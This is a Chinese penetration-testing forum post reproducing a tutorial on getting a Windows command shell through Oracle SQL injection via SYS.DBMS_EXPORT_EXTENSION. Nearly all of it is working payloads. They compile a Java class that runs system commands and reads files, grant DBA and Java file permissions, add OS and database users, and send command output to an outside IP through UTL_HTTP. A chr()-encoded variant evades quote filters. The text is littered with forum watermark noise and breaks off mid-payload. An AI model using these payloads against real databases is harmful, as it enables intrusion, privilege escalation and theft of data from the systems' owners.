中国网络渗透测试联盟

标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术

( ^! q2 H7 z2 A  p+ M- H& z/ q4 `8 u
% R5 y8 X7 R+ m8 L介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
% E- {' i# K0 l0 F7 V3 v0 H6 O9 `1 C  M! t& P
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* d4 s( u6 T' h( m8 t
) f6 T3 j% G! i5 L. z/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....): n& i9 Y2 g) S' u- A' s
/ u, L" k/ }& ^$ f; C
的形式即可。(用" 'a'|| "是为了让语句返回true值)
8 |4 U( w! a. g" S( |4 Y
! M" h- \- R" ^1 |% S4 R/ u/ q语句有点长,可能要用post提交。
/ G+ I+ ^9 h% h: a9 u# l+ }
" V# d- a) S! V" l' [+ B7 a6 K; ]7 w- C; `7 P, Y# O1 m5 D

% N! |' ]3 \5 y5 N! r以下是各个步骤:8 a% o% z! x5 A% n4 E8 y

' N8 D7 |- R. f: ?+ c& a8 I* {: O1.创建包% h9 a! |' p! I5 n& r. z& @3 O
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. h& S+ `, R9 K; E* C! l
4 d( A, i3 s! F$ e# F- O8 R/ h5 L
/xxx.jsp?id=1 and '1'<>'a'||(
1 q* j" a# e+ I0 U" \0 b) d2 n9 _% }) X  b$ y% Y/ v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 G, Z$ U" ~* d, v
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  B0 ~1 f& U- I0 l) o; k+ m7 qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
! E1 b2 @  K4 x}'''';END;'';END;--','SYS',0,'1',0) from dual7 J( G9 K, I5 A, l7 ?

$ p- ^( C$ w, [7 Q' g) y)
# f% ^* z" F; f% g! |3 I' a9 p. A4 M" Q; K; f. J6 E
------------------------7 N* }& h$ N+ ~) I2 O/ F
如果url有长度限制,可以把readFile()函数块去掉,即:* w2 g. D. t' p, X  u
/xxx.jsp?id=1 and '1'<>'a'||(3 r* Q4 S+ p7 j
# r& x* P4 t9 d: Y$ x' \, O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! y( k4 r) a6 d6 E" x% g. u
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ u$ q: k. @# Xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
& C1 c% u% T1 \% q}'''';END;'';END;--','SYS',0,'1',0) from dual
$ P8 W& y4 p) G( U: X6 h" R, l. [2 @( X
)8 S, L: H! S9 j8 O: @* r+ C$ _, d' Q

7 i/ G; v: j! E同时把后面步骤 提到的 对readFile()的处理语句去掉。9 h, C, [5 C# B; E! N
------------------------------
, g! v% G( t( U, }3 ~6 D0 ?% |4 t: d# J/ e# m- J' n6 `' J
2.赋Java权限
' V' y3 L4 L; R% D1 I1 t
4 X( D2 E7 D- V! J/ Z5 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual/ L) S5 Q( e4 U1 Z, Y

- o. i6 ^1 T% }+ B0 H
4 D1 K, N; [  E# o* h/ i
9 h4 j$ c# }( s2 f3.创建函数
- q3 q6 {  H6 V* G2 y4 a+ U
0 t; `" s& n0 ^$ s5 y; Q& L9 P* ]3 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 s& Z  p% q/ X; N  U6 r* P( Jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
0 `. o2 a1 o) j. H
3 A- y) V1 z* R4 i( Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': l. ?+ q1 u2 I& z
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
9 J1 V% o' S6 ?2 m8 O3 X: n3 U/ A1 N4 ?& I  w
4.赋public执行函数的权限9 u' @* H; f- S5 F) R

( a2 p* {# I) Z% v5 E4 T5 h1 V& Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual  l3 W8 b% `6 y
8 T* H7 t2 n2 r! M; F+ c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual# t: p) c8 F; W( p) t
8 \) |* u" R* ^& F( g2 |1 S: M/ P
. S) Q% F! I+ }( s9 a# ^
6 k+ \, t, X" ?! v
5.测试上面的几步是否成功
- ^9 r1 \6 ~' s# Y% q8 x
2 Q9 J& \: M, Jand '1'<>'11'||(5 S) c2 ]+ I2 M$ r' d
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'3 ~' l, y5 ^* T# J. ]' z
)
! w3 R* N+ u- D$ a* n" o2 ]( t9 Q' s: K$ {8 l* V
and '1'<>(' Y+ N' V5 G7 a# I0 ^) Y3 H
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'  Y$ A3 S! b( ]7 O" \( i: e+ J
)- V+ H, h7 B8 J. Z! j1 A& n/ Y' m
  _- n( l7 Y1 g2 @# }
6.执行命令:
* C% y$ ^& P- {% v' y3 S6 I; C, H; s! X- [9 ^) o, }; J1 Q
/xxx.jsp?id=1 and '1'<>(' g4 K& V; o# R/ v
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 w' ^9 b8 o. W' f) U( a+ H5 L5 s/ {)
- Q# Y( Y. B  T/ v$ N
2 U3 f/ H% l) a: d9 [( ?/xxx.jsp?id=1 and '1'<>(# ^6 g: J$ s! k* M
select sys.LinxReadFile('c:/boot.ini') from dual# T1 _6 L$ A) L1 V1 a
)4 Z* n6 ?7 J3 n9 ^6 i$ z
3 {& e! j2 r1 E  i( u& }  d
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
3 Y" W: v  l6 l; ^如果要查看运行结果可以用 union :
' [2 V. k+ o9 a3 M) [, C8 D
, z7 A5 e( u; F- u0 X) I2 \/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
1 D- v7 f  f' }  r8 l5 w7 t. R! C+ i9 ^9 Z  L! y/ y
或者UTL_HTTP.request(:
; n7 d8 B% v7 o9 e& y. Q2 e6 S; Q; j# B7 c% X" e9 _* ^/ e/ q+ A' \0 _3 _, f
/xxx.jsp?id=1 and '1'<>(7 G' B) s. z1 F) ?
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual- j0 K  e- \, Y/ d
)
5 V" z- i( Y, W/ K; D3 r0 J. X, f5 V. p
/xxx.jsp?id=1 and '1'<>(
% k6 n6 y3 y. [( R& n. BSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
2 n, V4 m  d# Y5 F- m)" h7 s9 |9 A: A( h

" X' p7 _3 p& v4 y# i3 m注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
8 }, F5 T' `( Y3 A- u* y+ i
( U7 `. w/ O/ v$ H2 V; S  _( r
1 g! p; h5 ]0 h
" B$ z3 A& M. m% f; m" ~7 t2 [. E5 Z! j8 M

0 z! W# u8 S' x! g  V--------------------
5 J4 _8 d  ]( L5 x# ], q& C2 F; O& w5 L! d9 d8 |
6.内部变化3 ^( G( p. l6 |# H
通过以下命令可以查看all_objects表达改变:
) e6 V2 B$ a1 d7 N3 _+ n5 n& Mselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
! C+ U4 I3 I4 g& o+ q$ }6 Q
, J- G$ d: z. _7 h7.删除我们创建的函数
/ s; s9 Q( n* \. y; r# iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, h0 Z2 V! P- _  @2 y2 adrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual( {9 E/ V  t: v

( P! r, w& [* [7 `
9 j# k4 s! }$ @$ ?. g! \3 [$ m. \3 ~. r

$ ?, r" z# e6 [( O2 i5 M9 t0 u1 j) i
0 u- A( n0 C$ g/ |5 ^====================================================
* R; A& h, E( G/ Z+ h全文结束。谨以此文赠与我的朋友。
5 c) v: U4 v: P  }
3 h$ w, _7 X! dlinx
& A+ z  T9 S/ L, @124829445
6 C7 Q4 v6 R! k* V( F3 G2008.1.121 a& q& Q1 }) h7 z" U' B
linyujian@bjfu.edu.cn
- x, w/ c5 A% l- P) ^8 @9 ]+ @; k$ J- l1 _1 B( z) e

0 `$ ?* c( o2 u) T
" C# w' ~" ]& t" }3 R! h$ D4 u- {, e+ q& O
) A. ~+ Y. {6 j7 g
======================================================================1 \- x# {7 k  F+ |! b

* R1 L7 C8 X0 k测试漏洞的另一方法:; _+ |5 |: J  |1 g7 m

! ]+ W; W. Z2 U3 E  ^% T创建oracle帐号:
( U0 E; {# g! c& ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" Q. ^: e( B2 E0 u. wCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
$ x) _0 r2 s; M; A. E; \* {8 w+ v5 D4 Y6 E' W/ f, l
即:
9 E1 R' v0 q/ G" n; B- w! ^/ rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, ~. N, O' m6 _5 V7 }9 ?4 Cchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 c; q* v! t2 M8 z( x4 J
/ K2 O# o8 q" w( z. {* s
确定漏洞存在:
4 U+ ~6 ?4 S, K4 t; S8 A# B! A+ A1<>(& s0 k$ n8 c1 }, ?9 F! E7 z
select user_id from all_users where username='LINXSQL'
2 `; m* H7 c5 z2 S+ })
) v. W/ H7 C; J/ B0 r8 c! s- K  x' f
& G' n" X; C4 }1 S; Y7 K7 D给linxsql连接权限:
. B. {! L: L. b2 {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 Z! n- C; p* R5 z" P4 cGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual# J0 |$ N. Q; |. n. W6 J  D* i/ @

6 @- f3 S( m! C7 Z删除帐号:$ M1 G+ a8 j4 L6 X/ h2 r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. l3 x- Y0 a  j- Z$ pdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual& M0 Q4 W- j. L! t- Y% _1 F! M/ ^, ~

+ [6 Z: A- j  F6 X======================
* Y+ {6 T* v9 r5 I- U( ~# i5 |1 _4 ^3 r# m+ i& D; q
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
( m! L4 S* T5 b1 P1 t3 P2 b
7 w& C& _2 Y4 n# O1.jsp?id=1 and '1'<>(
$ _) X- }% f' W& P& H; M! ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! e' O6 ^8 p6 e) `
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual  [4 n4 J' }# P+ a
) and ...; E5 Y/ Z, ^' ^
9 T2 g( e. j; c% u7 l" r+ g
1.jsp?id=1 and '1'<>(# _- _1 u& w& U" x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
6 [1 w- C+ e; X& j) and ...
# p6 E$ I0 u  u6 a6 ?) C: v& t& E0 h
1.jsp?id=1 and '1'<>(& N% X  P) J, j0 n1 K* S5 S
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL2 K8 H" V% F' `4 g4 Z
) and ...
& ?$ [/ ~8 h4 N' _1 y- p* y- t5 I2 s2 t) G3 K3 o# K7 ]; ~
0 E7 q4 [- s% }. T$ k, t

3 c7 g8 n4 |3 t: p" l& p1.jsp?id=1 and '1'<>(% {7 D' F1 r: \( Z9 U
SELECT sys.Linx_Query('declare pragma
) g  ~" t! j  r9 T- ?4 iautonomous_transaction; begin execute immediate ''
! i" K9 x1 d. \6 z0 \) x" ^select 1 from dual
+ e& s1 Q6 Q9 q) a+ l: j2 M''; commit; end;') from dual1 E) z) \6 N5 [/ @1 Y) f1 j5 ^
) and ..., z! t, ^1 P1 E/ F5 b

/ p# H, |# C, _$ q$ f) o( {6 }0 i多语句:! z* H1 F( o* J1 e, r6 ?! ]; d0 ]
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
, ]7 f/ R, o( n9 E" {. x- v( Z* P  O: q) C
创建用户(除非当前用户有system权限,否则无法成功):# g. E' y* l/ Y& r. l5 o
SELECT sys.Linx_Query('declare pragma# o' M" p7 @9 s* n% F: V; l3 o
autonomous_transaction; begin execute immediate ''4 B* u+ k/ i& `% a' T
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
0 _+ c# h; U7 y) y& K''; commit; end;') from dual
/ S; q! V3 G# ]9 d
# {; z0 Z+ l/ p) }3 F( J) n
, }3 d- B4 N# P: h$ Y6 E, k% ~

! ^* E& j: a  e& l9 x& D
, G, N9 t0 d2 s  G================6 C' y. `  H$ F' ^! K6 K+ s1 T
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()0 }+ _/ t4 }7 l5 J

) @# Y' w4 B0 {# ^2 Y& l# g1.创建函数" \& {8 d# V0 e9 r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% A  _1 B* S# Pcreate or replace function Linx_Query (p
# f5 e1 M; ^/ N' Uvarchar2) return number authid current_user is begin execute immediate+ V2 R1 s/ K$ s$ [! w, D
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
  N! K5 f; q4 a  K8 A& E9 p
& C( ~. v8 m2 g, [. x5 \* Q  K如果有权限,以下语句应该允许正常
9 A8 H; F6 K/ ^* ?% n/ cselect sys.linx_query('select 1 from dual') from dual;
+ u+ I: I% b3 Q3 ~1 w4 \
5 e, G0 Z6 L8 D# F- h6 w% l不然的话运行:
& B$ z7 g9 L7 [, h8 B
% c0 r: s, `/ m3 M6 eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 i2 M8 H! w. s
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual7 O8 T$ @5 O, m4 Z0 }

& g2 X5 {0 G# a0 u/ ?
4 _3 \# v8 K# J8 F3 Q0 f! W  N* R& \4 B$ x& H% C
2.创建包
( W1 ~' }+ G7 U# jSELECT sys.Linx_Query('declare pragma
/ h5 L6 O% M, ^" |3 K" vautonomous_transaction; begin execute immediate ''3 B# U8 v  y8 P( \+ x
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
- }4 e; _) h: }4 k; p+ L2 Mnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual1 T" K/ M" W: v
+ P+ }- e$ B: y" z( K: J$ ^8 Y
3.创建函数
( q4 i7 V; Q7 x1 F+ a/ k( ESELECT sys.Linx_Query('declare pragma# {: V9 U+ A2 a: C
autonomous_transaction; begin execute immediate ''
. g# K: a1 K7 y6 z! o8 e6 x0 a( k- {create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
, T5 w' G% l5 Y1 w/ c9 s
8 C, b. |5 C& Z3 X$ n4.给权限4 W/ t- O  B, j! A
给用户SYSTEM执行权限:$ b1 y9 F6 l" E8 E; K% I% ]9 @
+ U# ]( W0 h4 f9 p
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual' p5 q" i+ O! u3 O& Z6 |8 q/ W
* \/ c6 {" G( p! J; Y- s2 ~. h

( Q8 x& @+ D$ Y+ E4 |
; I! \  ~, K$ k5.执行函数
' c. `: }3 U+ l' s, l# Y$ \) n  Nselect RunCMD2('cmd /c dir') from dual
( D# q* O( X5 ^1 ~
3 x4 ^7 z. Q% @. t+ j- K  P) A: p- T! C4 C/ N
+ L& C" J* w# o9 r% B. |

9 b9 V* _% T: k+ x  N+ n5 G2 V# q3 `
9 I% b% K9 Q+ q& X- |==================
4 G' w; O. X6 R& ~) {( J! |% i================================* b; t# _7 h2 F5 R! u! @  S
9 c1 g1 l, }5 h7 M2 c1 f, h- o
以下是无 " ' " 版:
6 A6 L2 M" S) m; Y% T
( Q! N0 b& r$ S: i% T以下是各个步骤:
8 h9 z! ]9 T$ B7 S5 _  y) W! H3 Y* Q% d
1.创建包7 z  [- }" |% s4 G" N! P# E
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. n7 Q8 x# i& p# V& i
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:" m/ A% \4 O. j+ t$ ?0 s, q3 p4 E

; n1 [2 O8 K# q2 \+ O" `$ @/xxx.jsp?id=1 and chr(49)<>chr(50)||(0 g  b- C4 b8 Y4 L1 u4 D
/ X4 J4 ^, J& a0 `3 |) f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
4 _9 Y4 I4 h1 Y8 M+ W0 N. Echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||$ f0 f8 T4 M4 K
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 \5 Y! R' ]8 n
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||) G) a1 A; E7 {- \9 e4 j  h
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||8 m7 }1 a/ w3 Z6 P
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||+ F% d* h- r% t* n: G- `
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
/ N9 X! A4 Z7 o5 z8 B: E# Wchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||; a  [" p* J9 ?# R8 R& {) g4 T! f
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
& ], @% q9 Z7 U, L, l: D( Uchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||! U. c# j% g1 ?; e& j0 q
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
* ?$ i" b3 x* [; {: X. Ichr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
# t- L5 x  @% P/ qchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
0 g1 D& }1 @5 Q- G' _* _7 Y2 l) Xchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
